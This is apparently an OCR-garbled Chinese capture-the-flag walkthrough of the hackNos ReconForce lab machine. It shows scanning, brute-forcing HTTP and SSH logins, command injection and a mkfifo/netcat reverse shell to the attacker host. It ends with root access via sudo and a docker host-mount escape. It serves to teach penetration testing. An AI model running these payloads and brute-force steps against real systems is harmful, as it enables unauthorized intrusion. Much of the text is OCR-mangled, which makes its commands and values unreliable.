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3 EEHLIR
3.1 EREIE

3.1.1 nmap 3#

nmap -sC -sV 192.168.0.136 -oA ReconForce-port

# nmap -sC -sV 192.168.0.136 -oA ReconForce-port

Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-10 03:44 AKST
Nmap scan report for 192.168.0.136
Host is up (@.0065s latency).
Not shown: 997 closed ports
PORT  STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
_ftp-anon: Anonymous FTP login allowed (FTP code 238)

ftp-syst:

STAT:
FTP server status:
Connected to ::ffff:192.168.0.118

Logged in as ftp

TYPE: ASCII

No session bandwidth limit
Session timeout in seconds is 300
Control connection is plain text

Data connections will be plain text
At session startup, client count was 4
vsFTPd 3.0.3 - secure, fast, stable
_End of status
22/tcp open ssh OpenSSH 8.@p1 Ubuntu 6buildl (Ubuntu Linux; protocol 2.8)
ssh-hostkey:
3072 6f:96:94:65:72:80:08:93:23:90:20:bc:76:df:b8:ec (RSA)
256 6f:bb:49:1a:a9:b6:e5:00:84:1 c4 (ECDSA)
_ 256 ce:3d:94:85:f4:a6:82:c4:7f:3f: :b@ (ED25519)
80/tcp open http Apache httpd 2.4.41 {(Ubuntu))
_http-server-header: Apache/2.4.41 (Ubuntu)
_http-title: Recon_Web
MAC Address: F4:@F:24:21:A7:29 (Apple)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detectlon perfarmed Please report any incorrect results at https://nmap.org/submit/ .
3 99

3.2 B

gobuster dir -u http://192.168.0.136 -w /ust/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

# gobuster dir -u http://192.168.8.136 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 10

T

uster v3.0.1
0] Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart

url: http://192.168 136

Threads: 1@

Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Status codes:  200,204,301,302,307, 401,403

User Agent: gobuster/3.0.1
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Authentication Required o x

) http://192.168.0.136 is requesting your username and password. The site says: “Recon Security” -l

User Name:

Password:

Cancel

is requesting your username and password. The site says: “Recon Security”



34ftp BERFF

ftp 192.168.0.136

: # ftp 192.168.8.136
Connected to 192.168.0.136.

220 "SecureghackNos".

Name (192.168.8.136:root): ftp

331 Please specify the password.
Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> 1s

200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.

226 Directory send OK.

ftp> |}

ftp VI A B3 (HE H XA EM AR E2HERXIR Secure@hackNos

3.5 python H &%

world=['Recon','Security','Secure','Secure']
for 1 in world:
print(it+'@hackNos'")

Recon@hackNos
Security@hackNos
Secure@hackNos
Secure@hackNos

3.5.1  TERARERAE

msfconsole

use auxiliary(scanner/http/http login



msf5 auxiliary( set auth_uri /Secure/
auth_uri = /Secure/

msf5 auxiliary( set RHOSTS 192.168.0.136

RHOSTS = 192.168.8.136

msf5 auxiliary( set STOP_ON_SUCCESS true
STOP_ON_SUCCESS = true

msf5 auxiliary( ) > set PASS_FILE /root/ReconForce/pass.txt
PASS_FILE = /root/ReconForce/pass.txt

msf5 auxlllary( ) > exploit

Attempting to login to http://192.168.0.136:80/5ecure/
192.168.0.136:80@ - Failed: 'admin:ReconghackNos'

[!] No active DB — Credential data will not be saved!

[+] 192.168.0.136:80 - Success: 'admin:Security@hackNos'
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf5 auxiliary( ) > 1

admin:Security@hackNos

R PATIRH

@ ~0 192.168.0.136/5ecure r

ining Kali Tools €5 Kali Docs Kali Forums NetHunter @) Offensive Security Exploit-DB GHDB @ MS

I £

Data




C @ @ 192.168.0.136

Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums

uid=33(www-data) gid=33(www-data) groups=33(www-data)

3.6.1 AHTURRG

[Is
|cat out.php

<pre=<?php

if( isset{ $ POST[ 'Submit' ] ) ) {
/f Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
g o=

by
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// Remowve any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target };

// Determine 05 and execute the ping command.
if( stristr( php_uname( 's' }, 'Windows NT' } ) {

// Windows

tcmd = shell _exec( ‘ping ' . $target );
b
else {

S *nix

$cmd = shell _exec( 'ping -c 4 ' . $target });
b

/{ Feedback for the end user
echo "<pre>{$cmd}</pre=";

}

=
</pre=

HIEARZ 7T fid ZAENIEFRSa 1.



RO
[wget http://192.168.0.118/1.php

3.7 85[A H shell

nc -lvnp 9001

IRTeE 1) I IR IR IR I e e 3 I e

POST /5ecure/l.php HTTP/1.1

Host: 192.168.0.136

User-Agent: Mozilla/5.8 (X11; Linux xB6_6B4; rv:i6B.0) Gecko/20100101 Firefox/68.0
Accept: text/himl,application/xhtml+xml,application/xml;q=0.9,%/%;0=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Basic YWRtawWdeU2VijdXJpdHlAaGFjalSvow==

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 28

cmd=rm+/tmp/f%3bmkfifo+/tmp/fi3bcat+/tmp/f | /bin/sh+-1+2>%261 | nc+192.168.0.118+9001+=/
tmp/ Tl

python -c 'import pty;pty.spawn("/bin/bash")'

:~# nc -lvnp 9001
listening on [any] 9601 ...
connect to [192.168.0.118)] from (UNKNOWN) [192.168.8.136] 521280
/bin/sh: @: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")’
wwi-dataghacknos:/var/wm /recon/Secure$ "2
[1]+ Stopped nc -lvnp 9081

:~# stty raw -echo
:~# nc -lvnp 9001

www-dataghacknos: /var/ww/recon/Secure$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-dataghacknos: /var/wwm/recon/Secure$ ||

3.8 A ' recon Y

cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
recon:x:1000:119:rahul:/home/recon:/bin/bash




3.8.1 hydra WML

hydra -1 recon -P pass.txt ssh://192.168.0.136

Re e hydra -1 recon -P pass.txt ssh://192.168.0.136
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-02-10 05:40:15

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t &

[WARNING] Restorefile (you have 1@ seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.rest
ore

password:

1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-02-10 05:40:31

3.9 &3 recon i

ssh recon@192.168.0.136

ssh recon@192.168.0.136
The authenticity of host '192.168.8.136 (192.168.8.136)" can't be established.
ECDSA key fingerprint is SHA256:YyrsJ6SfcrEjupojYvAzzhetfPVnVWv4XDFAoaf2FGw.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.8.136" (ECDSA) to the list of known hosts.
recon@192.168.0.136"s passwor
Welcome to Ubuntu 19.18 (GNU/Linux 5.3.@-24-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Mon 1@ Feb 2020 82:44:47 PM UTC

System load: 0.0 Processes: 117

Usage of /: 34.1% of 9.22GB Users logged in: 0

Memory usage: 6% IP address for enp@s3: 192.168.0.136
Swap usage: 0%

* Multipass 1.8 is out! Get Ubuntu VMs on demand on your Linux, Windows or
Mac. Supports cloud-init for fast, local, cloud devops simulation.
https://multipass.run/

83 updates can be installed immediately.
41 of these updates are security updates.
To see these additional updates run: apt list --upgradable

Last login: Fri Jan 10 23:05:02 2020 from 192.168.0.104
reconahacknos:~$

3.10 7183 user.txt

reconghacknos: $ cat user.txt
HESBEBHBHBHB BB RE RS U R B R HY

MDSHASH: baellce4fe7af91faS8576cldazaadsb
reconghacknos:~$ |]

3.1 REBURF



3.11.1 FiE—

reconghacknos:~% 1s -al

total 32

drwxr-xr-x recon docker 23:37

drwxr-xr-x root root 17:09
recon docker 23:37 .bash_history
recon docker 2019 .bash_logout

recon docker 2819 .bashrc

recon docker 85:38

recon docker @5:38

recon docker 2019 .profile

recon docker 85:38 .sudo_as_admin_successful

root root @ 23:09 user.txt
reconghacknos:~$ ||

EFIHXFA sudo as admin_successful

sudo -1 FI N %0 Security@hackNos

os:~$ sudo -1
[sudo] password for recon:
Matching Defaults entries for recon on hacknos:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User recon may run the following commands on hacknos:
(ALL : ALL) ALL

re $ 1
G B AT ABAT AR AT A 2

53 root.txt

:'$ sudo cat /root/root.txt

$355553\

\$$\ $$ 3%\
$$$5\ \$$\ $$ | $$S55S\  SEIEEEE\  SEESEE\  $599985\
\ \$$\ $3\ 3% $$ 43\ $5 _ 9\
$$/ $5 |35 | 3
$% $5 | $$
$$ | $%
Z1%o1 [Evine

MD5HASH: baellce4f67af91fa58576c1da2aadéb
Author: Rahul Gehlaut
WebBlog: www.hackNos.com

@rahul_gehlaut

$
) gid=119(docker) groups=119(docker),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(1xd)
reco acknos:~$ groups
docker adm cdrom sudo dip plugdev Llxd
|

171 docker 41 AT PAH docker $&AX

docker images



B shell

docker run -v /:/mnt --rm -it alpine chroot /mnt sh
HZ) N # alpine (A

B s EAH FF] mbt H%

docker run -it -v /:/mbt €7d92cdc71fe

cd /mbt

cat root/root.txt

/mnt # cd /mbt
/mbt # 1s

/mbt # cat root/root.txt
\ $$$$$8$\
\$$\ $$ 3%\
$$$$\ \$$\ $$ l $$ | $EE5\  SEEIEIN  SSEIEE\  $3E5898\
\ \$$\ $$4598% |48 8%\ $ \ $$ \

s | 15 et . —
$955\ 43 | $$ __$8< $5959558 |88 / $$/ 5 |45 | 8
\____l§$ fﬁ $$

$$ | $%
f$ $$

$% |%% ____|[4$% l $$ l $$
$$ $5 [\$$5$5E\ \$55545\ \$5354%
e X [\ |\ /

Nk

MD5HASH: baellce4f67af91fa58576clda2aadéb
Author: Rahul Gehlaut
WebBlog: www.hackNos.com

Twitter: @rahul_gehlaut
/mbt # i
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nmap 4
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hydra ssh 7% fi#
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